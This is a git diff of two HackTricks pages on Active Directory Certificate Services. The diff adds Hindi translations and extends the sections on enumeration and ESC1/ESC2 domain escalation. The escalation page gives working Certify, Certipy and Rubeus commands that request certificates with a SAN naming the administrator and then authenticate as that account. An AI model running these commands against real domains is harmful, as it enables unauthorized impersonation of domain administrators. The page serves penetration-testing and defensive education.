diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 233ac5de4..da78015c2 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -6,107 +6,154 @@ ### Components of a Certificate -- The **Subject** of the certificate denotes its owner. -- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner. -- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration. -- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate. -- The **Issuer** refers to the CA that has issued the certificate. -- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility. -- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions. -- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs). -- The **Signature Algorithm** specifies the method for signing the certificate. -- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity. +- The **Subject** of the certificate denotes its owner. + - प्रमाणपत्र का **Subject** इसके मालिक को दर्शाता है। +- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner. + - एक **Public Key** को निजी कुंजी के साथ जोड़ा जाता है ताकि प्रमाणपत्र उसके वैध मालिक से जुड़ सके। +- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration. + - **Validity Period**, जिसे **NotBefore** और **NotAfter** तारीखों द्वारा परिभाषित किया जाता है, प्रमाणपत्र की वास्तविक अवधि दिखाती है। +- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate. + - एक अद्वितीय **Serial Number**, जिसे Certificate Authority (CA) द्वारा प्रदान किया जाता है, प्रत्येक प्रमाणपत्र की पहचान करता है। +- The **Issuer** refers to the CA that has issued the certificate. + - **Issuer** उस CA को संदर्भित करता है जिसने प्रमाणपत्र जारी किया है। +- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility. + - **SubjectAlternativeName** विषय के लिए अतिरिक्त नामों की अनुमति देता है, जिससे पहचान अधिक लचीली बनती है। +- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions. + - **Basic Constraints** यह दर्शाते हैं कि प्रमाणपत्र CA के लिए है या end entity के लिए, और उपयोग पर प्रतिबंध तय करते हैं। +- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs). + - **Extended Key Usages (EKUs)** Object Identifiers (OIDs) के माध्यम से प्रमाणपत्र के विशिष्ट उद्देश्यों को निर्दिष्ट करते हैं, जैसे code signing या email encryption। +- The **Signature Algorithm** specifies the method for signing the certificate. + - **Signature Algorithm** प्रमाणपत्र पर हस्ताक्षर करने की विधि को निर्दिष्ट करता है। +- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity. + - **Signature**, जिसे issuer की निजी कुंजी से बनाया जाता है, प्रमाणपत्र की प्रामाणिकता की गारंटी देता है। ### Special Considerations -- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification. +- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification. + - **Subject Alternative Names (SANs)** प्रमाणपत्र की उपयुक्तता को कई पहचानों तक बढ़ाते हैं, जो कई डोमेन वाले सर्वरों के लिए महत्वपूर्ण है। SAN विनिर्देशन में छेड़छाड़ करके हमलावरों द्वारा impersonation के जोखिम से बचने के लिए secure issuance प्रक्रियाएँ आवश्यक हैं। ### Certificate Authorities (CAs) in Active Directory (AD) AD CS acknowledges CA certificates in an AD forest through designated containers, each serving unique roles: -- **Certification Authorities** container holds trusted root CA certificates. -- **Enrolment Services** container details Enterprise CAs and their certificate templates. -- **NTAuthCertificates** object includes CA certificates authorized for AD authentication. -- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates. +- **Certification Authorities** container holds trusted root CA certificates. + - **Certification Authorities** कंटेनर में trusted root CA प्रमाणपत्र रखे जाते हैं। +- **Enrolment Services** container details Enterprise CAs and their certificate templates. + - **Enrolment Services** कंटेनर Enterprise CAs और उनके certificate templates का विवरण रखता है। +- **NTAuthCertificates** object includes CA certificates authorized for AD authentication. + - **NTAuthCertificates** ऑब्जेक्ट में वे CA प्रमाणपत्र शामिल होते हैं जिन्हें AD authentication के लिए अधिकृत किया गया है। +- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates. + - **AIA (Authority Information Access)** कंटेनर intermediate और cross CA प्रमाणपत्रों के साथ certificate chain validation को सक्षम बनाता है। ### Certificate Acquisition: Client Certificate Request Flow -1. The request process begins with clients finding an Enterprise CA. -2. A CSR is created, containing a public key and other details, after generating a public-private key pair. -3. The CA assesses the CSR against available certificate templates, issuing the certificate based on the template's permissions. -4. Upon approval, the CA signs the certificate with its private key and returns it to the client. +1. The request process begins with clients finding an Enterprise CA. + - अनुरोध प्रक्रिया क्लाइंट्स के Enterprise CA खोजने से शुरू होती है। +2. A CSR is created, containing a public key and other details, after generating a public-private key pair. + - public-private key जोड़ी बनाने के बाद एक CSR बनाया जाता है, जिसमें public key और अन्य विवरण होते हैं। +3. The CA assesses the CSR against available certificate templates, issuing the certificate based on the template's permissions. + - CA उपलब्ध certificate templates के खिलाफ CSR का मूल्यांकन करता है और template की permissions के आधार पर प्रमाणपत्र जारी करता है। +4. Upon approval, the CA signs the certificate with its private key and returns it to the client. + - अनुमोदन पर, CA अपनी निजी कुंजी से प्रमाणपत्र पर हस्ताक्षर करता है और इसे क्लाइंट को लौटाता है। ### Certificate Templates -Defined within AD, these templates outline the settings and permissions for issuing certificates, including permitted EKUs and enrollment or modification rights, critical for managing access to certificate services. +Defined within AD, these templates outline the settings and permissions for issuing certificates, including permitted EKUs and enrollment or modification rights, critical for managing access to certificate services. +- AD में परिभाषित, ये templates प्रमाणपत्र जारी करने के लिए settings और permissions को रेखांकित करते हैं, जिनमें अनुमत EKUs और enrollment या modification अधिकार शामिल हैं — ये certificate services तक पहुँच प्रबंधन के लिए महत्वपूर्ण हैं। ## Certificate Enrollment The enrollment process for certificates is initiated by an administrator who **creates a certificate template**, which is then **published** by an Enterprise Certificate Authority (CA). This makes the template available for client enrollment, a step achieved by adding the template's name to the `certificatetemplates` field of an Active Directory object. +- प्रमाणपत्रों के लिए enrollment प्रक्रिया उस administrator द्वारा प्रारम्भ की जाती है जो **एक certificate template बनाता है**, जिसे बाद में Enterprise Certificate Authority (CA) द्वारा **published** किया जाता है। इससे template client enrollment के लिए उपलब्ध हो जाता है, जो Active Directory ऑब्जेक्ट के `certificatetemplates` फील्ड में template का नाम जोड़कर किया जाता है। + For a client to request a certificate, **enrollment rights** must be granted. These rights are defined by security descriptors on the certificate template and the Enterprise CA itself. Permissions must be granted in both locations for a request to be successful. +- किसी क्लाइंट को प्रमाणपत्र अनुरोध करने के लिए **enrollment rights** प्रदान किए जाने चाहिए। ये अधिकार certificate template और Enterprise CA पर security descriptors द्वारा परिभाषित होते हैं। अनुरोध सफल होने के लिए दोनों स्थानों पर permissions दिए जाने आवश्यक हैं। + ### Template Enrollment Rights These rights are specified through Access Control Entries (ACEs), detailing permissions like: -- **Certificate-Enrollment** and **Certificate-AutoEnrollment** rights, each associated with specific GUIDs. -- **ExtendedRights**, allowing all extended permissions. -- **FullControl/GenericAll**, providing complete control over the template. +- **Certificate-Enrollment** and **Certificate-AutoEnrollment** rights, each associated with specific GUIDs. + - **Certificate-Enrollment** और **Certificate-AutoEnrollment** अधिकार, जिनमें से प्रत्येक विशिष्ट GUIDs से जुड़ा होता है। +- **ExtendedRights**, allowing all extended permissions. + - **ExtendedRights**, जो सभी extended permissions की अनुमति देता है। +- **FullControl/GenericAll**, providing complete control over the template. + - **FullControl/GenericAll**, जो template पर पूर्ण नियंत्रण प्रदान करता है। ### Enterprise CA Enrollment Rights The CA's rights are outlined in its security descriptor, accessible via the Certificate Authority management console. Some settings even allow low-privileged users remote access, which could be a security concern. +- CA के अधिकार उसके security descriptor में सूचीबद्ध होते हैं, जिन्हें Certificate Authority management console के माध्यम से एक्सेस किया जा सकता है। कुछ सेटिंग्स कम-privileged उपयोगकर्ताओं को remote access भी देती हैं, जो सुरक्षा चिंता का कारण बन सकता है। + ### Additional Issuance Controls Certain controls may apply, such as: -- **Manager Approval**: Places requests in a pending state until approved by a certificate manager. -- **Enrolment Agents and Authorized Signatures**: Specify the number of required signatures on a CSR and the necessary Application Policy OIDs. +- **Manager Approval**: Places requests in a pending state until approved by a certificate manager. + - **Manager Approval**: अनुरोधों को pending स्थिति में रखता है जब तक कि certificate manager द्वारा स्वीकृत न हो। +- **Enrolment Agents and Authorized Signatures**: Specify the number of required signatures on a CSR and the necessary Application Policy OIDs. + - **Enrolment Agents and Authorized Signatures**: CSR पर आवश्यक हस्ताक्षरों की संख्या और आवश्यक Application Policy OIDs निर्दिष्ट करते हैं। ### Methods to Request Certificates Certificates can be requested through: -1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), using DCOM interfaces. -2. **ICertPassage Remote Protocol** (MS-ICPR), through named pipes or TCP/IP. -3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed. -4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service. -5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP). +1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), using DCOM interfaces. + - **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM interfaces का उपयोग करते हुए। +2. **ICertPassage Remote Protocol** (MS-ICPR), through named pipes or TCP/IP. + - **ICertPassage Remote Protocol** (MS-ICPR), named pipes या TCP/IP के माध्यम से। +3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed. + - **certificate enrollment web interface**, जब Certificate Authority Web Enrollment role स्थापित हो। +4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service. + - **Certificate Enrollment Service** (CES), Certificate Enrollment Policy (CEP) service के साथ मिलकर। +5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP). + - नेटवर्क उपकरणों के लिए **Network Device Enrollment Service** (NDES), Simple Certificate Enrollment Protocol (SCEP) का उपयोग करते हुए। -Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command). +Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command). +- Windows उपयोगकर्ता GUI (`certmgr.msc` या `certlm.msc`) के माध्यम से या command-line उपकरणों (`certreq.exe` या PowerShell का `Get-Certificate` command) के जरिए भी प्रमाणपत्र अनुरोध कर सकते हैं। ```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## Certificate Authentication +## प्रमाणपत्र प्रमाणीकरण -Active Directory (AD) प्रमाणपत्र प्रमाणीकरण का समर्थन करता है, मुख्य रूप से **Kerberos** और **Secure Channel (Schannel)** प्रोटोकॉल का उपयोग करते हुए। +Active Directory (AD) प्रमाणपत्र प्रमाणीकरण का समर्थन करता है, मुख्यतः **Kerberos** और **Secure Channel (Schannel)** प्रोटोकॉल का उपयोग करते हुए। -### Kerberos Authentication Process +### Kerberos प्रमाणीकरण प्रक्रिया -Kerberos प्रमाणीकरण प्रक्रिया में, एक उपयोगकर्ता के Ticket Granting Ticket (TGT) के लिए अनुरोध को उपयोगकर्ता के प्रमाणपत्र की **निजी कुंजी** का उपयोग करके हस्ताक्षरित किया जाता है। यह अनुरोध डोमेन नियंत्रक द्वारा कई मान्यताओं से गुजरता है, जिसमें प्रमाणपत्र की **वैधता**, **पथ**, और **रद्दीकरण स्थिति** शामिल हैं। मान्यताओं में यह भी शामिल है कि प्रमाणपत्र एक विश्वसनीय स्रोत से आता है और **NTAUTH प्रमाणपत्र स्टोर** में जारीकर्ता की उपस्थिति की पुष्टि करना। सफल मान्यताओं के परिणामस्वरूप एक TGT जारी किया जाता है। AD में **`NTAuthCertificates`** ऑब्जेक्ट, जो कि यहाँ पाया जाता है: +Kerberos प्रमाणीकरण प्रक्रिया में, उपयोगकर्ता का Ticket Granting Ticket (TGT) के लिए अनुरोध उपयोगकर्ता के प्रमाणपत्र की **private key** का उपयोग करके हस्ताक्षरित किया जाता है। यह अनुरोध domain controller द्वारा कई सत्यापनों से गुज़रता है, जिनमें प्रमाणपत्र की **validity**, **path**, और **revocation status** शामिल हैं। सत्यापन में यह भी शामिल है कि प्रमाणपत्र किसी विश्वसनीय स्रोत से आया है और जारीकर्ता की उपस्थिति **NTAUTH certificate store** में पुष्टि करना। सफल सत्यापन TGT के जारी होने का कारण बनते हैं। AD में **`NTAuthCertificates`** ऑब्जेक्ट निम्न स्थान पर पाया जाता है: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -is प्रमाणपत्र प्रमाणीकरण के लिए विश्वास स्थापित करने में केंद्रीय। +यह सर्टिफिकेट प्रमाणीकरण के लिए विश्वास स्थापित करने में केंद्रीय है। -### सुरक्षित चैनल (Schannel) प्रमाणीकरण +### Secure Channel (Schannel) प्रमाणीकरण -Schannel सुरक्षित TLS/SSL कनेक्शनों की सुविधा प्रदान करता है, जहाँ एक हैंडशेक के दौरान, क्लाइंट एक प्रमाणपत्र प्रस्तुत करता है जो, यदि सफलतापूर्वक मान्य किया जाता है, तो पहुँच अधिकृत करता है। एक प्रमाणपत्र को AD खाते से मानचित्रित करने में Kerberos का **S4U2Self** फ़ंक्शन या प्रमाणपत्र का **Subject Alternative Name (SAN)** शामिल हो सकता है, अन्य तरीकों के बीच। +Schannel सुरक्षित TLS/SSL कनेक्शनों को सक्षम करता है, जहाँ हैंडशेक के दौरान क्लाइंट एक certificate प्रस्तुत करता है जो सफलतापूर्वक validate होने पर access को authorize करता है। किसी certificate का AD account से mapping Kerberos के **S4U2Self** function या certificate के **Subject Alternative Name (SAN)** सहित अन्य तरीकों के माध्यम से हो सकता है। -### AD प्रमाणपत्र सेवाओं की गणना +### AD Certificate Services एन्यूमरेशन -AD की प्रमाणपत्र सेवाओं को LDAP प्रश्नों के माध्यम से गणना की जा सकती है, जो **Enterprise Certificate Authorities (CAs)** और उनकी कॉन्फ़िगरेशन के बारे में जानकारी प्रकट करती है। यह किसी भी डोमेन-प्रमाणित उपयोगकर्ता द्वारा विशेष विशेषाधिकार के बिना सुलभ है। **[Certify](https://github.com/GhostPack/Certify)** और **[Certipy](https://github.com/ly4k/Certipy)** जैसे उपकरण AD CS वातावरण में गणना और भेद्यता मूल्यांकन के लिए उपयोग किए जाते हैं। +AD की certificate services को LDAP queries के माध्यम से enumerate किया जा सकता है, जो **Enterprise Certificate Authorities (CAs)** और उनके configurations के बारे में जानकारी उजागर करती हैं। यह किसी भी domain-authenticated user द्वारा बिना किसी विशेष privileges के उपलब्ध है। AD CS environments में enumeration और vulnerability assessment के लिए **[Certify](https://github.com/GhostPack/Certify)** और **[Certipy](https://github.com/ly4k/Certipy)** जैसे tools का उपयोग किया जाता है। -इन उपकरणों का उपयोग करने के लिए आदेश शामिल हैं: +इन tools का उपयोग करने के लिए Commands में शामिल हैं: ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -119,5 +166,7 @@ certutil -v -dstemplate - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 4463df296..245391ebe 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -2,7 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -**यह पदों के उत्थान तकनीक अनुभागों का सारांश है:** + +**यह पोस्ट्स के escalation technique सेक्शनों का सारांश है:** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) @@ -14,94 +15,105 @@ ### Misconfigured Certificate Templates - ESC1 Explained -- **Enterprise CA द्वारा निम्न-विशिष्ट उपयोगकर्ताओं को नामांकन अधिकार दिए जाते हैं।** -- **प्रबंधक की स्वीकृति की आवश्यकता नहीं है।** -- **अधिकृत व्यक्तियों से कोई हस्ताक्षर आवश्यक नहीं हैं।** -- **प्रमाणपत्र टेम्पलेट्स पर सुरक्षा वर्णनकर्ता अत्यधिक अनुमति देने वाले हैं, जो निम्न-विशिष्ट उपयोगकर्ताओं को नामांकन अधिकार प्राप्त करने की अनुमति देते हैं।** -- **प्रमाणपत्र टेम्पलेट्स को EKUs को परिभाषित करने के लिए कॉन्फ़िगर किया गया है जो प्रमाणीकरण को सुविधाजनक बनाते हैं:** -- Extended Key Usage (EKU) पहचानकर्ता जैसे Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), या कोई EKU (SubCA) शामिल हैं। -- **प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) में subjectAltName शामिल करने की क्षमता टेम्पलेट द्वारा अनुमति दी गई है:** -- Active Directory (AD) पहचान सत्यापन के लिए प्रमाणपत्र में subjectAltName (SAN) को प्राथमिकता देता है यदि यह मौजूद है। इसका मतलब है कि CSR में SAN निर्दिष्ट करके, किसी भी उपयोगकर्ता (जैसे, एक डोमेन प्रशासक) का अनुकरण करने के लिए एक प्रमाणपत्र अनुरोध किया जा सकता है। यह दर्शाता है कि क्या अनुरोधकर्ता द्वारा SAN निर्दिष्ट किया जा सकता है, प्रमाणपत्र टेम्पलेट के AD ऑब्जेक्ट में `mspki-certificate-name-flag` प्रॉपर्टी के माध्यम से। यह प्रॉपर्टी एक बिटमास्क है, और `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ध्वज की उपस्थिति अनुरोधकर्ता द्वारा SAN के निर्दिष्ट करने की अनुमति देती है। +- **Enrolment rights Enterprise CA द्वारा low-privileged users को दिए गए हैं।** +- **Manager approval की आवश्यकता नहीं है।** +- **Authorized personnel के हस्ताक्षर आवश्यक नहीं हैं।** +- **Certificate templates पर security descriptors बहुत permissive हैं, जिससे low-privileged users enrolment rights प्राप्त कर सकते हैं।** +- **Certificate templates ऐसे EKUs निर्धारित करने के लिए कॉन्फ़िगर किए गए हैं जो authentication को सक्षम करते हैं:** +- Extended Key Usage (EKU) identifiers जैसे Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), या कोई EKU नहीं (SubCA) शामिल हैं। +- **Template के द्वारा Certificate Signing Request (CSR) में subjectAltName शामिल करने के लिए requesters को अनुमति दी गई है:** +- Active Directory (AD) किसी certificate में subjectAltName (SAN) को identity verification के लिए प्राथमिकता देता है अगर यह मौजूद हो। इसका मतलब है कि CSR में SAN निर्दिष्ट करके, कोई certificate किसी भी user (उदा., एक domain administrator) का impersonate करने के लिए request किया जा सकता है। यह कि requester द्वारा SAN निर्दिष्ट किया जा सकता है या नहीं, यह certificate template के AD object में `mspki-certificate-name-flag` property के माध्यम से संकेतित होता है। यह property एक bitmask है, और `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag की उपस्थिति requester को SAN निर्दिष्ट करने की अनुमति देती है। > [!CAUTION] -> उल्लिखित कॉन्फ़िगरेशन निम्न-विशिष्ट उपयोगकर्ताओं को किसी भी पसंद के SAN के साथ प्रमाणपत्र अनुरोध करने की अनुमति देता है, जिससे Kerberos या SChannel के माध्यम से किसी भी डोमेन प्रिंसिपल के रूप में प्रमाणीकरण सक्षम होता है। +> यह कॉन्फ़िगरेशन low-privileged users को किसी भी चुनी हुई SAN के साथ certificates request करने की अनुमति देता है, जिससे Kerberos या SChannel के माध्यम से किसी भी domain principal के रूप में authentication संभव हो जाता है। -यह सुविधा कभी-कभी HTTPS या होस्ट प्रमाणपत्रों के तात्कालिक निर्माण का समर्थन करने के लिए उत्पादों या तैनाती सेवाओं द्वारा सक्षम की जाती है, या समझ की कमी के कारण। +यह सुविधा कभी-कभी products या deployment services द्वारा on-the-fly HTTPS या host certificates जनरेट करने के समर्थन के लिए सक्षम की जाती है, या समझ की कमी के कारण रहती है। -यह नोट किया गया है कि इस विकल्प के साथ प्रमाणपत्र बनाने पर एक चेतावनी उत्पन्न होती है, जो तब नहीं होती जब एक मौजूदा प्रमाणपत्र टेम्पलेट (जैसे `WebServer` टेम्पलेट, जिसमें `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` सक्षम है) को डुप्लिकेट किया जाता है और फिर प्रमाणीकरण OID शामिल करने के लिए संशोधित किया जाता है। +यह ध्यान दिया गया है कि इस विकल्प के साथ एक certificate बनाने पर एक warning ट्रिगर होता है, जो उस स्थिति में लागू नहीं होता जब कोई मौजूदा certificate template (जैसे `WebServer` template, जिसमें `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` enabled है) डुप्लिकेट किया जाता है और फिर authentication OID शामिल करने के लिए मॉडिफाई किया जाता है। ### Abuse -**कमजोर प्रमाणपत्र टेम्पलेट्स खोजने के लिए** आप चला सकते हैं: +To **find vulnerable certificate templates** you can run: ```bash Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -इस **कमजोरी का दुरुपयोग करके एक प्रशासक की नकल करने के लिए** कोई निम्नलिखित चला सकता है: +इस **भेद्यता का दुरुपयोग करके किसी प्रशासक की नकल करने के लिए** आप निम्न चला सकते हैं: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ +/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ +-template 'ESC1' -upn 'administrator@corp.local' ``` -फिर आप उत्पन्न **प्रमाणपत्र को `.pfx`** प्रारूप में परिवर्तित कर सकते हैं और इसे **Rubeus या certipy** का उपयोग करके फिर से **प्रमाणित** करने के लिए उपयोग कर सकते हैं: +फिर आप जनरेट किए गए **certificate को `.pfx`** फॉर्मैट में बदलकर फिर से **Rubeus या certipy का उपयोग करके authenticate** कर सकते हैं: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Windows बाइनरी "Certreq.exe" और "Certutil.exe" का उपयोग PFX उत्पन्न करने के लिए किया जा सकता है: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Windows बाइनरीज़ "Certreq.exe" & "Certutil.exe" का उपयोग PFX जनरेट करने के लिए किया जा सकता है: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -AD फॉरेस्ट के कॉन्फ़िगरेशन स्कीमा के भीतर प्रमाणपत्र टेम्पलेट्स की गणना, विशेष रूप से वे जो अनुमोदन या हस्ताक्षरों की आवश्यकता नहीं रखते हैं, जिनमें Client Authentication या Smart Card Logon EKU है, और जिनमें `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ध्वज सक्षम है, निम्नलिखित LDAP क्वेरी चलाकर की जा सकती है: +AD Forest के configuration schema में certificate templates की enumeration, विशेषकर वे जिनके लिए approval या signatures की आवश्यकता नहीं होती, जिनमें Client Authentication या Smart Card Logon EKU शामिल हों, और जिनमें `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag सक्षम हो, निम्न LDAP query चलाकर की जा सकती है: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` -## Misconfigured Certificate Templates - ESC2 +## गलत कॉन्फ़िगर किए गए सर्टिफिकेट टेम्पलेट - ESC2 -### Explanation +### व्याख्या -दूसरा दुरुपयोग परिदृश्य पहले वाले का एक रूपांतर है: +दूसरा abuso परिदृश्य पहले वाले का एक रूपांतर है: -1. Enterprise CA द्वारा निम्न-privileged उपयोगकर्ताओं को नामांकन अधिकार दिए जाते हैं। -2. प्रबंधक अनुमोदन की आवश्यकता को अक्षम किया गया है। -3. अधिकृत हस्ताक्षरों की आवश्यकता को छोड़ दिया गया है। -4. प्रमाणपत्र टेम्पलेट पर एक अत्यधिक अनुमति देने वाला सुरक्षा वर्णनकर्ता निम्न-privileged उपयोगकर्ताओं को प्रमाणपत्र नामांकन अधिकार प्रदान करता है। -5. **प्रमाणपत्र टेम्पलेट को Any Purpose EKU या कोई EKU शामिल करने के लिए परिभाषित किया गया है।** +1. Enrollment rights कम-प्रिविलेज्ड users को Enterprise CA द्वारा दिए गए हैं। +2. Manager approval की आवश्यकता अक्षम कर दी गई है। +3. Authorized signatures की आवश्यकता हटा दी गई है। +4. Certificate template पर एक अत्यधिक अनुमतिप्रद security descriptor कम-प्रिविलेज्ड users को certificate enrollment rights देता है। +5. **सर्टिफिकेट टेम्पलेट को Any Purpose EKU शामिल करने या कोई EKU न रखने के लिए परिभाषित किया गया है।** -**Any Purpose EKU** एक हमलावर को **किसी भी उद्देश्य** के लिए प्रमाणपत्र प्राप्त करने की अनुमति देता है, जिसमें क्लाइंट प्रमाणीकरण, सर्वर प्रमाणीकरण, कोड साइनिंग, आदि शामिल हैं। इसी **तकनीक का उपयोग ESC3 के लिए** इस परिदृश्य का लाभ उठाने के लिए किया जा सकता है। +**Any Purpose EKU** किसी attacker को किसी भी purpose के लिए certificate प्राप्त करने की अनुमति देता है, जिसमें client authentication, server authentication, code signing, आदि शामिल हैं। इस परिदृश्य का शोषण करने के लिए वही **technique used for ESC3** लागू की जा सकती है। -**कोई EKUs** नहीं होने वाले प्रमाणपत्र, जो अधीनस्थ CA प्रमाणपत्र के रूप में कार्य करते हैं, को **किसी भी उद्देश्य** के लिए दुरुपयोग किया जा सकता है और **नए प्रमाणपत्रों पर हस्ताक्षर करने के लिए भी उपयोग किया जा सकता है**। इसलिए, एक हमलावर एक अधीनस्थ CA प्रमाणपत्र का उपयोग करके नए प्रमाणपत्रों में मनमाने EKUs या फ़ील्ड निर्दिष्ट कर सकता है। +कोई EKUs न होने वाले certificates, जो subordinate CA certificates के रूप में कार्य करते हैं, को किसी भी purpose के लिए शोषित किया जा सकता है और इन्हें नए certificates पर हस्ताक्षर करने के लिए भी उपयोग किया जा सकता है। 